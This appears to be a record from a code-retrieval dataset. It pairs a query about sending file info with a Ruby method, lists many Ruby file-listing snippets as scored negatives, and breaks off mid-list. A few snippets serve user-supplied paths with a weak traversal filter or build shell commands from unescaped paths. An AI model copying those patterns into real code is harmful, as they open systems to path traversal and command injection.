"def test_getfilelist\n server = nil\n testdir, pattern, tmpfile = mktestdir\n\n file = nil\n\n assert_nothing_raised {\n\n server = Puppet::Network::Handler.fileserver.new(\n\n :Local => true,\n\n :Config => false\n )\n }\n\n assert_nothing_raised {\n server.mount(testdir, \"test\")\n }\n\n # get our listing\n list = nil\n sfile = \"/test/tmpfile\"\n assert_nothing_raised {\n list = server.list(sfile, :manage, true, false)\n }\n\n output = \"/\\tfile\"\n\n # verify it got listed as a file\n assert_equal(output, list)\n\n # verify we got all fields\n assert(list !~ /\\t\\t/)\n\n # verify that we didn't get the directory itself\n list.split(\"\\n\").each { |line|\n assert(line !~ %r{remotefile})\n }\n\n # and then verify that the contents match\n contents = File.read(tmpfile)\n\n ret = nil\n assert_nothing_raised {\n ret = server.retrieve(sfile)\n }\n\n assert_equal(contents, ret)\n end",
"def dir_list(path, bases, paging)\n items = paging[:items]\n page = paging[:page]\n offset = paging[:offset]\n raise 'Disabling paging is not supported for a directory listing' if paging[:disable_paging]\n\n max_items = 1000\n\n child_paths, total = FileSystems::Combined.directory_list(path, items, offset, max_items)\n\n children = child_paths.map { |full_path|\n if FileSystems::Combined.directory_exists?(full_path)\n dir_info(full_path, bases)\n else\n raise 'File should exist' unless FileSystems::Combined.file_exists?(full_path)\n\n file_info(full_path)\n end\n }\n\n paging[:total] = total\n paging[:warning] = \"Only first #{max_items} results are available\" if total >= max_items\n\n children\n end",
"def populate_list_of_files_from_file(file_list, entry)\n logger.debug \"\\\"#{entry}\\\" is a file. Processing...\"\n file_list << entry\n # Find images if any\n Find.find(File.dirname(entry)) do |file|\n file_list << file if (File.file?(file) && is_image?(file))\n end\n end",
"def file_get_files(directories) \n directory = \"\"\n files = []\n directories.each do |directory| \n unless directory == \"/root\"\n Dir.chdir(\"#{directory}\") \n Dir.foreach(\"#{directory}\") do |d| \n files.push(d) unless d == \".\" || d == \"..\" \n end\n @file_information.store(directory, files)\n files = []\n end\n end\n return @file_information\n end",
"def list(path='root')\n puts \"#list('#{path}')\"\n listed_files =[]\n @drive.folder = path\n children = @drive.children\n list_files_metadata(children)\n raise 'There are no files in directory' if children.count < 1\n children.each do |item|\n listed_files << \"#{item.path.gsub('/drive/', 'drive/')}/#{item.name}\" unless item.folder?\n end\n @logger.info 'Children list acquired.'\n pp listed_files\n end",
"def get_folder_list\n\n ################################\n # \n # prep: list\n #\n ################################\n #ref __FILE__ http://stackoverflow.com/questions/37101151/what-does-file-program-name-mean-in-ruby\n path = Pathname.new(__FILE__)\n# path = Pathname.new('.')\n \n #ref https://ruby-doc.org/stdlib-2.1.0/libdoc/pathname/rdoc/Pathname.html\n p \"path.dirname => #{path.dirname}\"\n \n dpath = path.dirname\n# dpath = \"c:/works_2\"\n \n #ref http://stackoverflow.com/questions/1899072/getting-a-list-of-folders-in-a-directory\n Dir.chdir(dpath)\n# Dir.chdir(\"c:/works_2\")\n# Dir.chdir(path.dirname)\n# Dir.chdir('/destination_directory')\n# list = Dir.glob('*').select\n# list = Dir.glob('*').select {|f| File.directory? f}\n files = Dir.glob('*').select {|f| File.file? f}\n dirs = Dir.glob('*').select {|f| File.directory? f}\n \n puts\n puts \"[#{__LINE__}] directory => #{dpath}\" \n \n puts\n puts \"[#{__LINE__}] folders ....\"\n p dirs\n \n puts\n puts \"[#{__LINE__}] files ....\"\n p files.sort\n# p files\n \n# p files.methods.sort\n \n# p __FILE__\n \n# target_directory = \n# \n# Dir.chdir('/destination_directory')\n## Dir.chdir('/destination_directory')\n# \n# list = Dir.glob('*').select {|f| File.directory? f}\n# \n# p list\n \n ################################\n # \n # file: write data\n #\n ################################\n time_label = get_time_label(\"serial\")\n \n fname = \"directory_list.#{time_label}.txt\"\n \n f = File.new(fname, \"w\")\n \n # header\n f.write(\"program file path = #{FILE_PATH}\")\n f.write(\"\\n\")\n f.write(\"version = #{VERSION}\")\n f.write(\"\\n\")\n \n f.write(\"list file created at = #{time_label}\")\n f.write(\"\\n\")\n \n f.write(\"dir path = #{dpath}\")\n f.write(\"\\n\")\n f.write(\"dirs = #{dirs.size}\")\n f.write(\"\\n\")\n f.write(\"files = #{files.size}\")\n f.write(\"\\n\")\n f.write(\"\\n\")\n \n # data: dirs\n f.write \"<directories> #{dirs.size}\"\n f.write \"\\n\"\n \n dirs.each do |elem|\n \n f.write(elem)\n f.write(\"\\n\")\n \n end\n \n f.write(\"\\n\")\n f.write(\"\\n\")\n \n # data: files\n f.write \"<files> #{files.size}\"\n f.write \"\\n\"\n\n files.each do |elem|\n \n f.write(elem)\n f.write(\"\\n\")\n \n end\n \n f.close\n \n puts \"[#{__LINE__}] file written => #{fname}\"\n \nend",
"def files\n FileList.new(`#@native.files`)\n end",
"def listing_for query\n if query =~ /^TTH\\/(\\w+)$/\n node = @local_file_list.find_first(\"//File[@TTH='#{$1}']\")\n else\n node = @local_file_list.find_first('/FileListing')\n Pathname.new(query).each_filename { |part|\n node = node.find_first \"./*[@Name='#{part}']\"\n break if node.nil?\n }\n end\n\n return nil if node.nil? || node.name == 'Directory'\n listing_from_node node, true\n end",
"def read_directories(dir = T.unsafe(nil)); end",
"def files\n file = Dir[self.path + \"/*\"]\n file.each do |file_name|\n file_name.slice!(self.path + \"/\")\n end\n file\n end",
"def get_dir_listing( sftp, dir)\n list = []\n\n sftp.dir.foreach(dir) do |entry|\n list << entry.name\n end\n\n Set.new(list)\n end",
"def get_files(dir, name)\n Dir[\"#{dir}/**/#{name || \"*.xml\"}\"]\nend",
"def files(*list)\n @files.concat(makelist(list)) unless list.empty?\n @files\n end",
"def list(current_folder)\n # Ensure API availability\n api.call(\"system\", \"greet\")\n\n api.call(files_project, \"listFolder\", { folder: current_folder, only: 'folders' })\n end",
"def file_list files\n files.map { |gf| link_to_file(gf) }.join(', ').gsub(/\"/, \"'\")\n end",
"def main_files\n retrieve_files_in_main_dir\n end",
"def find(dirs); end",
"def get_file_list(sequence_type,site_name)\n\n case sequence_type\n when 'asm'\n ftp_url = \"#{FTP_BASE_URLS['asm']}/#{site_name}/\"\n\n # get a file list from the FTP directory listing\n LOG.info \"Checking file list on FTP server at #{ftp_url} ...\"\n curl_res = `curl -l --progress-bar #{ftp_url}`\n print \"\\n\"\n\n file_list = curl_res.split(/\\n/).map { |f| \"#{ftp_url}#{f}\" }\n when 'rrna'\n require 'csv'\n ftp_url = \"#{FTP_BASE_URLS['rrna']}/\"\n\n # parse sample IDs from TSV sample ID map\n # linked from http://hmpdacc.org/micro_analysis/microbiome_analyses.php\n sample_ids_url = \"#{CONF_DIR}/ppAll_V35_map.txt\"\n file_list = CSV.new(File.open(sample_ids_url), { :headers => :first_row, :col_sep => \"\\t\" })\n .select { |line| line[-3] == site_name.capitalize && line[5] != 'Unavailable' }\n .map { |line| \"#{ftp_url}#{line[7]}.fsa.gz\" }\n .sort\n .uniq\n else\n raise \"Unknown sequence type '#{sequence_type}' requested.\"\n end\n\n file_list\n\nend",
"def submitted_files(path = self.path)\n files = []\n files = files(path) if directory_num\n files\n end",
"def find_files(base_dir, flags); end",
"def directory(dir); end",
"def run_through_directory\n@file_array = []\n Dir.foreach('text_files') do |item|\n next if item == '.' or item == '..'\n @file_array << item\n end\nend",
"def for(file_or_dir); end",
"def list\n\t\tfiles.map! { |filename|\n\t\t\t{:title => file_to_pagename(filename), :link => filename.chomp(\".md\")}\n\t\t}\n\tend",
"def list\n\t\tfiles.map! { |filename|\n\t\t\t{:title => file_to_pagename(filename), :link => filename.chomp(\".md\")}\n\t\t}\n\tend",
"def list_files(logged_in_user, order)\n files = []\n if logged_in_user.can_read(self.id)\n files = self.myfiles.find(:all, :order => order)\n end\n\n # return the files:\n return files\n end",
"def filelist_file(origin_name, dist_name, component_name, packages)\n content = {\n \"filelists\" => {\n :@xmlns => XMLNS_MAP[:filelists],\n :@packages => packages.size,\n :package => packages.map { |package|\n {\n :@pkgid => package[:generated_sha],\n :@name => package[\"NAME\"],\n :@arch => package[\"ARCH\"],\n :version => {\n :@epoch => package[\"EPOCHNUM\"],\n :@ver => package[\"VERSION\"],\n :@rel => package[\"RELEASE\"].split(\".\").first,\n },\n :file => (package[\"FILENAMES\"] + package[\"DIRNAMES\"]).map { |dir|\n {:@type => \"dir\", :_content_ => dir}\n },\n }\n },\n },\n }\n args = [origin_name, dist_name, component_name, \"repodata\", \"filelists.xml\"]\n [\n create_file(*args) do |file|\n file.puts generate_xml(content)\n end,\n compress_file(*args),\n ]\n end",
"def files\n result = []\n @my_files.each do |f|\n result << f.fname if FileTest.file?(f.fname)\n end\n result\n end",
"def files_list(params = {})\n response = @session.do_post \"#{SCOPE}.list\", params\n Slack.parse_response(response)\n end",
"def list\n Dir.glob(\"#{@path}/**/*\").select{|path| File.file?(path) }.map do |path|\n path.sub Regexp.new(\"^#{@path}\\/\"), ''\n end\n end",
"def list_files_from (path,opts = {})\n safe_fetch do\n list_files = Set.new\n var = \"Search in #{path} at #{@host}... \"\n cmd = \"find #{path}\"\n cmd = \"(cd #{path} && ls \" ### dont know why cd alone doesn't work\n cmd << \"-td */\" if opts[:directories]\n cmd << opts[:regexp] if opts[:regexp]\n cmd << \" 2>/dev/null)\"\n out = @ssh.exec!(cmd)\n list_files = out.split\n list_files = out.split(\"/\\n\") if opts[:directories]\n\n var << \"Found #{list_files.size} entries\\n\"\n Logger.<<(__FILE__,\"INFO\",var)\n list_files\n end\n end",
"def list_files\n [].tap do |files|\n remote_files do |file|\n files << file\n end\n end\n end",
"def get_files(src)\n files = Array.new\n if File.directory? src\n Find.find(src) do |path|\n next if File.directory? path\n files.push path\n end\n else\n log(\"error: source directory of \\\"#{src}\\\" does not exist!\")\n exit 2\n end\n files.reverse\nend"
] |
[
"0.7770089",
"0.7699185",
"0.7581297",
"0.7458646",
"0.74257815",
"0.7382408",
"0.73160386",
"0.7254566",
"0.7238712",
"0.7222619",
"0.7137586",
"0.71201164",
"0.70518506",
"0.70416987",
"0.7031159",
"0.7002606",
"0.6925008",
"0.6905666",
"0.6897562",
"0.6893239",
"0.68620247",
"0.68558294",
"0.68524635",
"0.6843233",
"0.6819584",
"0.675962",
"0.67458016",
"0.6741025",
"0.6736336",
"0.67329097",
"0.6699504",
"0.66991293",
"0.6693924",
"0.66931856",
"0.6676295",
"0.6648895",
"0.66440254",
"0.6643138",
"0.6615846",
"0.66006243",
"0.65987986",
"0.6597199",
"0.6580827",
"0.657609",
"0.6576071",
"0.6568683",
"0.656678",
"0.6552119",
"0.6552119",
"0.6549983",
"0.654914",
"0.6531308",
"0.65312517",
"0.65103996",
"0.65055317",
"0.6498277",
"0.64971",
"0.6490428",
"0.64888614",
"0.6488711",
"0.6488172",
"0.6482842",
"0.64802545",
"0.647799",
"0.64745176",
"0.64726776",
"0.6465756",
"0.6458116",
"0.6456331",
"0.6453008",
"0.6452128",
"0.64421576",
"0.6440196",
"0.6439627",
"0.6435884",
"0.6424321",
"0.6421782",
"0.6419825",
"0.6417726",
"0.6413943",
"0.64092875",
"0.6407278",
"0.64057297",
"0.6396582",
"0.6393233",
"0.6390649",
"0.6386365",
"0.63846445",
"0.636976",
"0.6367492",
"0.63664246",
"0.63664246",
"0.6363603",
"0.63584733",
"0.63573956",
"0.6354177",
"0.6351534",
"0.6351447",
"0.6347908",
"0.6343384"
] |
0.64210105
|
77
|
used at filelist inorder to send file info if requested path is file
|
def send_file_info(last, path)
if not last == nil
user = current_user
path = path.force_encoding("UTF-8")
@file_names = "#{path.split('/').last}" + "\n"
@access_url = "#{HOSTING_URL}" + "/user_files/"+ "#{user.userid}" + path.force_encoding("UTF-8")
else
@file_names = "error"
@access_url = ""
end
puts_message "send_file_info end"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def requested_file(request_line)\r\n # ... implementation details to be discussed later ...\r\nend",
"def index\n \n \n\n if params[:file]\n @file = params[:file] \n p @file\n @path = \"/home/session[:user_name]/#{@file}\"\n @path.to_s.gsub!('\\.\\.' , '')\n if File.directory?(@path)\n @files = Dir.foreach(\"/home/session[:user_name]/#{@file}\") \n else\n send_file @path\n end\n else\n @path = \"/home/session[:user_name]\"\n @files = Dir.foreach(\"/home/session[:user_name]\")\n \n end\n\n\n \n end",
"def send_file(path); end",
"def file(fname)\n @file_list[fname]\n end",
"def file_list\n end",
"def filelist\n puts_message \"filelist start\" \n\n user = current_user\n\n request = params[:request].force_encoding(\"UTF-8\")\n puts_message \"Requested Path: \" + params[:request]\n \n if user and check_existance_of_path(request) \n if request == nil\n @file_names = 'error'\n elsif request_is_directory?(request)\n fire_the_list(request)\n # @file_names = absolute_path(request)\n elsif request_is_file?(request)\n last = request.split('/').last\n path = absolute_path(request)\n send_file_info(last, request) \n else\n @file_names = 'error'\n end\n else \n @file_names = 'error'\n end\n\n puts_message \"filelist end\" \n \n @output = <<-END\n\n END\n \n if request == \"/images/\"\n @folders = Folder.all(:user_id => current_user.id)\n \n @output << \"photo\" + \"\\n\"\n \n @folders.each do |f|\n @output << f.name + \"\\n\"\n end\n \n @file_names = @output\n end\n \n return @file_names\n\n end",
"def files; end",
"def files; end",
"def files; end",
"def files; end",
"def files; end",
"def files; end",
"def user_path?(file); end",
"def add_file_info!(request, body)\n #add content length\n request.content_length = body.respond_to?(:lstat) ? body.lstat.size : body.size \n \n #Add filename to Content-Disposition\n request['Content-Disposition'] ||= body.respond_to?(:path) ? \"filename=#{File.basename(body.path).to_s}\" : \"\"\n \n #If content type header not set, assume binary/octet-stream, since this is a file\n request['Content-Type'] ||= 'binary/octet-stream'\n end",
"def get_file(client, current_path, input, client_port)\n\n\tif(!File.exist?(\"#{current_path}/files/#{input}\"))\n\t\tclient.puts \"\\nFile not available\"\n\telse\n\t\tclient.puts \"sending\"\n\n\t\tclient_serv = TCPSocket.new(\"#{client.peeraddr[3]}\", client_port)\n\t\tclient_serv.puts \"#{input}\"\n\n\t\tfile_boolean = client_serv.gets.chomp\n\t\tif(file_boolean == \"false\")\n\n\t\telse\n\t\t\tfile_sending = File.open(\"#{current_path}/files/#{input}\", \"rb\")\n\n\t\t\tfilecontent = file_sending.read\n\t\t\tclient_serv.puts(filecontent)\t \t\t\t\t\n\t\t\tclient_serv.close\n\t\t\tfile_sending.close\n\n\t\t\tputs \"File #{input} Sent\"\n\t\tend\n\tend\t\t\t\t\t\nend",
"def do_file(req,res)\n path = req.path.gsub(/^(\\/|\\.)+/,\"\")\n return do_GET(req,res,path) if File.exists? path\n raise WEBrick::HTTPStatus::NotFound, \"`#{path}' not found.\"\n end",
"def info_files\n @queue << \"i f\"\n end",
"def request_is_file?(path)\n question = absolute_path(path) \n File.file?(question) \n end",
"def file?() end",
"def access_file_name\n end",
"def file\n if params[:version] && !params[:version].match?(/^[1-9]\\d*$/)\n render(plain: \"400 Bad Request: version parameter must be positive integer\", status: :bad_request)\n return\n end\n\n obj_version = params[:version].to_i if params[:version]&.match?(/^[1-9]\\d*$/)\n location = MoabStorageService.filepath(druid, params[:category], params[:filepath], obj_version)\n if location\n send_file location\n else\n render(plain: \"404 File Not Found: #{druid}, #{params[:category]}, #{params[:filepath]}, #{params[:version]}\", status: :not_found)\n end\n rescue ArgumentError => e\n render(plain: \"400 Bad Request: #{e}\", status: :bad_request)\n rescue Moab::MoabRuntimeError => e\n render(plain: \"404 Not Found: #{e}\", status: :not_found)\n end",
"def show\n\n\n extension = @notice.Select_File.split('.')\n send_file Rails.root.join('public','uploads',@notice.Select_File),\n :type => \"application/#{extension[1]}\", :x_sendfile =>true\n \n @file=\"http://localhost:3000/notices/\".concat(@notice.Select_File)\n\n\n\n \n\n end",
"def process(request, response)\n if response.socket.closed?\n return\n end\n\n path_info = request.params[Mongrel::Const::PATH_INFO]\n get_or_head = @@file_only_methods.include? request.params[Mongrel::Const::REQUEST_METHOD]\n if get_or_head and @files.can_serve(path_info)\n # File exists as-is so serve it up\n @files.process(request,response)\n else\n raise \"No file... Sorry\" #TODO set 404 status 2007/04/09 by shino\n end\n end",
"def file_path; end",
"def send_file request, response, filename, status_code = 200, headers = {}\n\t\t\t\tif Plezi.file_exists?(filename) && !::File.directory?(filename)\n\t\t\t\t\tdata = if Plezi::Cache::CACHABLE.include?(::File.extname(filename)[1..-1])\n\t\t\t\t\t\tPlezi.load_file(filename)\n\t\t\t\t\telse\n\t\t\t\t\t\t::File.new filename, 'rb'\n\t\t\t\t\tend\n\t\t\t\t\treturn send_raw_data request, response, data , MimeTypeHelper::MIME_DICTIONARY[::File.extname(filename)], status_code, headers\n\t\t\t\tend\n\t\t\t\treturn false\n\t\t\tend",
"def fire_the_list(path)\n @output = <<-END\n\n END\n dir = absolute_path(path).force_encoding(\"UTF-8\")\n begin \n @file_names = Dir.entries(dir)\n @file_names.each do |file|\n file = file.force_encoding(\"UTF-8\")\n # puts_message \"테스트 아웃풋 : \" + file\n end\n \n rescue\n @file_name = \"error\"\n end\n \n \n if not @file_names == nil\n # puts_message \"잘라낸 주소!!\" + path[0,7]\n if path[0,8] == \"/images/\"\n if path == \"/images/\" or path == \"/images/basic_photo/\"\n @file_names.delete_if{|f| f =~ /^(\\.)(.*)/}\n @file_names.each{|f| @output << f.force_encoding(\"UTF-8\") + \"\\n\"}\n @file_names = @output \n @access_url = \"\"\n \n else\n # puts_message \"폴더명 ===>\" + path.gsub(\"/images/\",\"\").gsub(\"/\",\"\") + \"::인코딩::\"+path.encoding.to_s\n @file_names = Myimage.all(:user_id => current_user.id, :folder_name => path.gsub(\"/images/\",\"\").gsub(\"/\",\"\"))\n @file_names.each{|f| @output << f.image_filename.force_encoding(\"UTF-8\") + \"\\n\"; puts_message f.image_filename}\n @file_names = @output \n @access_url = \"\"\n \n end\n else\n @file_names.delete_if{|f| f =~ /^(\\.)(.*)/}\n @file_names.each{|f| @output << f + \"\\n\"}\n @file_names = @output \n @access_url = \"\"\n end\n else\n @file_names = \"error\"\n @access_url = \"\"\n end \n end",
"def show\n\t\tsend_file(params[:path])\n end",
"def show\n # These are expected and required by the file_handler route: \"file_attachments/:content_type/:parent_id/:id\"\n id = params[:id]\n parent_id = params[:parent_id]\n \n case params[:content_type]\n when \"PrivateMessage\" \n # Only users involved in PM conversations can view attachments\n file_attachment = PrivateMessage.with_recipients.with_user(session[:user_id]).with_attachments.find(parent_id).file_attachments.find(id)\n when \"NewsArticle\"\n file_attachment = NewsArticle.include_attachments.find(parent_id).file_attachments.find(id)\n else \n end\n \n # Sanitize path to ensure that the path is not pointing anywhere malicious on the server \n path = file_attachment.attachment.path\n raise MissingFile, \"Couldn't read #{file_attachment.attachment_file_name}\" unless\n File.readable?(path) and\n File.file?(path)\n \n send_file file_attachment.attachment.path, :type => file_attachment.attachment_content_type\n end",
"def file; end",
"def file; end",
"def file; end",
"def file; end",
"def file; end",
"def file; end",
"def file; end",
"def file; end",
"def file; end",
"def file; end",
"def file; end",
"def file\n end",
"def file\n end",
"def existing_files; end",
"def fa_request(fn, name, *_)\n ix = convert_integer(fn, \"!File number\")\n @files[ix] = {name: name.sub(/^\\*/,''), path: get_file_name(name), number: ix}\n end",
"def so_request(file, *_)\n original_file = file\n path = get_file_name(file)\n unless File.exists?(path)\n path += '.txt'\n stop \"!File #{original_file} does not exist\" unless File.exists?(path)\n end\n self.push context_for_file(path)\n end",
"def send_file_xsendfile(request, response,path, mime_type)\n\t\n\t#Calculate etag, not sure if needed, perhaps apache does this already\n\tstat = File.stat(path)\n # Set the last modified times as well and etag for all files\n\tmtime = stat.mtime\n # Calculated the same as apache, not sure how well the works on win32\n\tetag = ETAG_FORMAT % [mtime.to_i, stat.size, stat.ino]\n\n modified_since = request.env[HTTP_IF_MODIFIED_SINCE]\n\tnone_match = request.env[HTTP_IF_NONE_MATCH]\n\n # test to see if this is a conditional request, and test if\n\t # the response would be identical to the last response\n\t # Not sure whats going on here - stole from mongrels dir handler, which probibly does everything correctly..\n same_response = case\n when modified_since && !last_response_time = Time.httpdate(modified_since) rescue nil then false\n when modified_since && last_response_time > Time.now then false\n when modified_since && mtime > last_response_time then false\n when none_match && none_match == '*' then false\n when none_match && !none_match.strip.split(/\\s*,\\s*/).include?(etag) then false\n else modified_since || none_match # validation successful if we get this far and at least one of the header exists\n end\n\n\tif same_response\n\t response.status = 304\n\telse\n\t #Status?\n\t response.header[ETAG] = etag\n\t response.header[\"X-Sendfile\"] = path\n\t response.headers[CONTENT_TYPE] = mime_type\n\t response.headers[CONTENT_LENGTH] = \"0\"\n\tend\n\t \n\tresponse.body = []\n\t\n\treturn stat.size\n end",
"def file?\n type == :file\n end",
"def has_file?(path)\n @data[:files].has_key? path.to_sym\n end",
"def file\n file_names[x]\n end",
"def new_files; end",
"def for(file_or_dir); end",
"def file_path\n end",
"def send_file(client, current_path, input, client_port)\n\n\tif(File.exist?(\"#{current_path}/files/#{input}\"))\n\t\t\tclient.puts \"\\nFile already exists on server\"\n\telse\n\t\tclient.puts \"receiving\"\n\n\t\tclient_serv = TCPSocket.new(\"#{client.peeraddr[3]}\", client_port)\n\t\tclient_serv.puts \"#{input}\"\n\n\t\tfile_bool = client_serv.gets.chomp\n\t\tif(file_bool == \"false\")\n\n\t\telse\n\t\t\treceived_file = File.open(\"#{current_path}/files/#{input}\", \"wb\")\n\n\t\t\tfilecontent = client_serv.read \n\t\t\treceived_file.print filecontent\t \t\t\t\n\t\t\treceived_file.close\n\t\t\tclient_serv.close\n\n\t\t\tputs \"File #{input} Received\"\n\t\tend\n\tend\nend",
"def sending_file?\n @_body.is_a?(::Rack::File::Iterator)\n end",
"def search_file(req, res, basename)\n # /file.* > /file/index.html > /file.html\n super || super(req, res, \"#{basename}.html\")\n end",
"def file!\n @file_list = @file_list.select{ |f| File.file?(f) }\n end",
"def file_ok?(item = nil)\n status_ok?(item, column: :file_status)\n end",
"def file_list\n @file_list\n end",
"def _get(path, types)\n forbidden unless is_visible? path and is_allowed? path\n not_found unless File.exists? path\n if File.file? path\n content_type File.extname(path), :default => 'text/plain;charset=utf-8'\n send_file path\n else\n send_directory path, types\n end\n end",
"def send_file_method\n :default\n end",
"def path\n @file\n end",
"def file name\n \n end",
"def request_file\n @queue.shift\n end",
"def search_file(req, res, basename)\n # /file.* > /file/index.html > /file.html\n super ||\n super(req, res, \"#{basename}.html\") ||\n super(req, res, \"#{basename}.xhtml\")\n end",
"def file_exists\n end",
"def file_info(path)\n info File.read(path)\n end",
"def Fileinfo(path)\n Vidibus::Fileinfo::Base.new(path).data\nend",
"def rack_file?(value)\n value.is_a?(Hash) && value.key?(:tempfile) && value.key?(:name)\n end",
"def start file_path\n\t\tfileExist? file_path\n\tend",
"def get_file_name \n send_cmd(\"get_file_name\")\n end",
"def file?\n self.file.file?\n end",
"def list(client, current_path)\n\n\tfiles = Dir.glob(\"#{current_path}/files/*\")\n\tclient.puts \"\\nList of Files:\"\n\tfiles.each{ |file|\n\tfile.slice! \"#{current_path}/files/\"}\n\tclient.puts files\n\nend",
"def open_request(request, client)\n split_request = request.split(\" \")\n puts split_request\n filename = split_request[0][5..split_request[0].length]\n is_new = split_request[1][7..split_request[1].length]\n if is_new == \"1\" #create new file request\n File.open(filename, \"w\"){ |somefile| somefile.puts \"Hello new file!\"}\n puts \"\\nOK:#{filename}\\n\\n\"\n client.puts \"\\nOK:#{filename}\\n\\n\"\n else\n File.open(filename)\n client.puts \"\\nOK:#{filename}\\n\\n\"\n end\n end",
"def file\n @file\n end",
"def show\n # path = params[:id].split('+').join(' ').split('-').join('/')\n path = params[:id].gsub(';','/').gsub(',',' ').gsub('=', '.')\n\n if File.directory? path\n @ficheros = Fichero.find(path)\n #@ficheros.map! { |x| x.id.split('/').join('-').split(' ').join('+') }\n #@ficheros.map! { |x| x.id.gsub('/',';').gsub(' ',',').gsub('.', '=') }\n \n \n \n full = \"\"\n @ficheros.each do |fichero|\n dir = File.directory?(fichero.path) ? \"1\" : \"0\"\n full += \"#{fichero.path}=>#{dir}sN3r0l\"\n end\n \n \n \n \n render :text => full\n \n # \n # respond_to do |format|\n # format.html # show.html.erb\n # format.xml { render :xml => @ficheros }\n # \n # end\n \n else\n send_file path\n end\n end",
"def file?\n not identifier.blank?\n end",
"def check_for_file\n @ff.check_for_file \n end",
"def file_name\n @file_name\n end",
"def info(command)\n if !command[1] || command[1].empty?\n puts \"please specify item to get\"\n else\n path = '/' + clean_up(command[1])\n pp @client.files.info(path)\n end\n end",
"def file_list(path='.', include_hidden=false)\n if include_hidden\n Timeout::timeout(@@ftp_timeout) { ftp.nlst(File.join(self.remote_storage_dir, path)) }\n else\n Timeout::timeout(@@ftp_timeout) { ftp.nlst(File.join(self.remote_storage_dir, path)).reject{ |f| f=~ /^\\./ } }\n end\n rescue Net::FTPPermError => nftpe\n return path =~ /\\.#{Recording.mime_ext}$/ ? nil : []\n end",
"def command_get filename\n # construct absolute path\n filename = Server.absolute_path(@directory.path, filename)\n puts filename\n\n # Respond with \"OK #{filesize}\"\n # Start sending file over data connection\n if File.exists? filename and not File.directory? filename\n f = File.new(filename)\n\t\tf.seek 0, IO::SEEK_END\n\t\tf_size = f.tell\n\t\tf.seek 0, IO::SEEK_SET\n @client.puts \"OK #{f_size}\"\n @data_connection.transfer f\n else\n @client.puts \"FAILURE: File Not Found\"\n end\n end",
"def virtual_file?(name); end",
"def file_uploads; end",
"def maybe_hidden_file?(path); end",
"def maybe_hidden_file?(path); end",
"def file_path=(_arg0); end",
"def reply_with_file(dir)\n path = File.expand_path(File.join(dir, @path))\n\n # redirect requests missing a slash so relative links work\n if File.directory?(path) && !@path.end_with?('/')\n send_status(301, MOVED, \"Location: #{redirect_uri}\")\n return\n end\n\n path = File.join(path, 'index.html') if File.directory?(path)\n\n if path.start_with?(dir) && File.exist?(path)\n modified?(path) ? send_file(path) : send_status(304, NOT_MODIFIED)\n else\n missing = File.join(dir, '404.html')\n if File.exist?(missing)\n send_file(missing, 404, NOT_FOUND)\n else\n send_status(404, NOT_FOUND)\n end\n end\n end",
"def send_file_full(req_path, request, response,mime_type=\"image/png\", header_only=false )\n\t return send_file_xsendfile(request, response,req_path, mime_type)\n\tend",
"def process_file(item_file, index)\n if item_file.upload_file_path\n @logger.info(\"[Child #{index}] Copying file in bag to path: #{item_file.upload_full_path}\")\n item_file.copy_to_upload_full_path\n file = item_file.upload_file_url\n else\n item_file.copy_to_metadata_full_path\n @logger.info(\"[Child #{index}] Uploading filename from metadata to server: #{item_file.metadata_full_path}\")\n file = upload_file(item_file)\n item_file.delete_metadata_full_path\n end\n file\n end",
"def path\n @file\n end",
"def cl_request(fn, *_)\n get_file fn\n # No other action required\n end",
"def on_other_file; end",
"def index\n raise ArgumentError, 'Missing file parameter' if filename.blank?\n\n @available_in_workspace = Dor::Services::Client.object(params[:item_id]).files.list.include?(filename)\n\n respond_to do |format|\n format.html { render layout: !request.xhr? }\n end\n end",
"def show\n @archivo = Archivo.find(params[:id])\n @var = @archivo.uploaded_file.path\n @var2 = @var.gsub(@archivo.uploaded_file_file_name, '');\n\n if @archivo.uploaded_file_content_type == 'application/pdf'\n send_file Rails.root.join(@var2, @archivo.uploaded_file_file_name), :type=>\"application/pdf\", :x_sendfile=>true\n elsif @archivo.uploaded_file_content_type == 'application/zip'\n send_file Rails.root.join(@var2, @archivo.uploaded_file_file_name), :type=>\"application/zip\", :x_sendfile=>true\n elsif @archivo.uploaded_file_content_type == 'image/jpeg' or @archivo.uploaded_file_content_type == 'image/jpg' or @archivo.uploaded_file_content_type == 'image/png' or @archivo.uploaded_file_content_type == 'image/gif'\n send_file Rails.root.join(@var2, @archivo.uploaded_file_file_name), :type=>\"image/jpeg\", :x_sendfile=>true\n elsif @archivo.uploaded_file_content_type == 'application/doc'\n send_file Rails.root.join(@var2, @archivo.uploaded_file_file_name), :type=>\"application/doc\", :x_sendfile=>true\n elsif @archivo.uploaded_file_content_type == 'text/plain'\n send_file Rails.root.join(@var2, @archivo.uploaded_file_file_name), :type=>\"text/plain\", :x_sendfile=>true\n elsif @archivo.uploaded_file_content_type == 'application/msword'\n send_file Rails.root.join(@var2, @archivo.uploaded_file_file_name), :type=>\"application/msword\", :x_sendfile=>true\n elsif @archivo.uploaded_file_content_type == 'application/vnd.ms-excel'\n send_file Rails.root.join(@var2, @archivo.uploaded_file_file_name), :type=>\"application/vnd.ms-excel\", :x_sendfile=>true\n elsif @archivo.uploaded_file_content_type == 'text/csv'\n send_file Rails.root.join(@var2, @archivo.uploaded_file_file_name), :type=>\"text/csv\", :x_sendfile=>true\n end\n\n end",
"def find_file(path_info, accept_encoding:); end",
"def files_info(params = {})\n fail ArgumentError, \"Required arguments 'file' missing\" if params['file'].nil?\n response = @session.do_post \"#{SCOPE}.info\", params\n Slack.parse_response(response)\n end",
"def perform(filepath)\n\n end",
"def file\n files.first\n end",
"def file\n files.first\n end",
"def ignored_file?(path); end",
"def file(name)\n begin\n @name=name\n @content=get_rest(\"extra/#{@name}\")\n rescue Stingray::NotFoundError \n nil\n end\n end"
] |
[
"0.67169935",
"0.65137047",
"0.6421977",
"0.6369916",
"0.6365445",
"0.6277567",
"0.62718534",
"0.62718534",
"0.62718534",
"0.62718534",
"0.62718534",
"0.62718534",
"0.62572217",
"0.61724484",
"0.6093924",
"0.607562",
"0.6065342",
"0.6034502",
"0.60303706",
"0.602736",
"0.6008046",
"0.60008377",
"0.59987473",
"0.5996349",
"0.5995613",
"0.59915656",
"0.5990036",
"0.5941119",
"0.59274465",
"0.59274465",
"0.59274465",
"0.59274465",
"0.59274465",
"0.59274465",
"0.59274465",
"0.59274465",
"0.59274465",
"0.59274465",
"0.59274465",
"0.5911345",
"0.5911345",
"0.59066415",
"0.5896062",
"0.58958626",
"0.58727664",
"0.5870514",
"0.58614296",
"0.58576816",
"0.5845049",
"0.58442676",
"0.5827133",
